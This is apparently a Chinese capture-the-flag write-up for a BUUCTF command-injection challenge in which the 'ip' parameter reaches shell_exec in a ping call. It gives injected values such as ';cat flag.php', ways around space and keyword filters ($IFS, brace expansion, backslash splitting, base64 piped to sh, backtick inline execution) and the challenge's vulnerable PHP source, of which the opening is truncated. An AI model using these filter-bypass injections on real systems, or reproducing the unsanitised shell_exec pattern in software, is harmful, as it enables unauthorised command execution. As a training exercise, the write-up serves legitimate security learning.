打开页面发现
猜测是命令执行,ip应该为参数
http://e3a29edc-3eb0-45e6-9b0b-05b33ceac4a8.node3.buuoj.cn/?ip=;ls
发现flag.php
直接cat flag.php
http://e3a29edc-3eb0-45e6-9b0b-05b33ceac4a8.node3.buuoj.cn/?ip=;cat%20flag.php
提示空格被过滤
百度一下命令执行绕过空格的方法
$IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09
另外linux命令中可以加\,所以甚至可以ca\t /fl\ag
官方解法:
题目过滤bash那就用sh,sh的大部分脚本都可以在bash下运行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联:
内联执行的做法,就是将反引号内命令的输出作为输入执行
cat$IFS$9`ls`
使用内联的方法可以将源码回显出来
/?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>